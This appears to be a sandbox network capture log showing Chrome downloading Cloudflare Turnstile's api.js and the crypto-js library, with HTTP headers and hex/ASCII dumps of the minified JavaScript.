2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 Data Ascii: Of(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c 63 3d 74 5b 65 2b 31 5d 2c 61 3d 74 Data Ascii: _doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1],a=t
2024-10-07 19:53:07 UTC	1369	IN	Data Raw: 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c 41 5b 35 31 5d 29 2c 6d 3d 44 28 6d Data Ascii: x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D(m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49731	104.18.95.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	644	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://z2k.3kf2d.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:08 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cf06f82cb3741ac-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 19:53:08 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=nu
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 72 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return rt(e,r)}}function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(fu
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function gt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4c 28 43 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 4e 72 2c 28 66 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=L(Cr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(Nr,(f=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==nul
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 Data Ascii: den",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49732	104.17.25.14	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:08 UTC	936	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 391438 Expires: Sat, 27 Sep 2025 19:53:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kmT4ZyJ%2BhbJd5EaKPyZmm3qE5cifN%2BTJRA3NWrq%2B3JK7YJ%2BoydVWYSYx4URXZtukglP3VnGxvI0eJO%2FO0GN9S2QWaGckLEqAi3vMsjccbs8AHygzCw%2BhYS%2FLfyVUSCdniuCTVvHp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cf06f838a6843f9-EWR
2024-10-07 19:53:08 UTC	433	IN	Data Raw: 37 62 66 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e Data Ascii: s.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 72 61 6e 64 6f 6d 42 79 74 Data Ascii: ds=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomByt
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c Data Ascii: this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBl
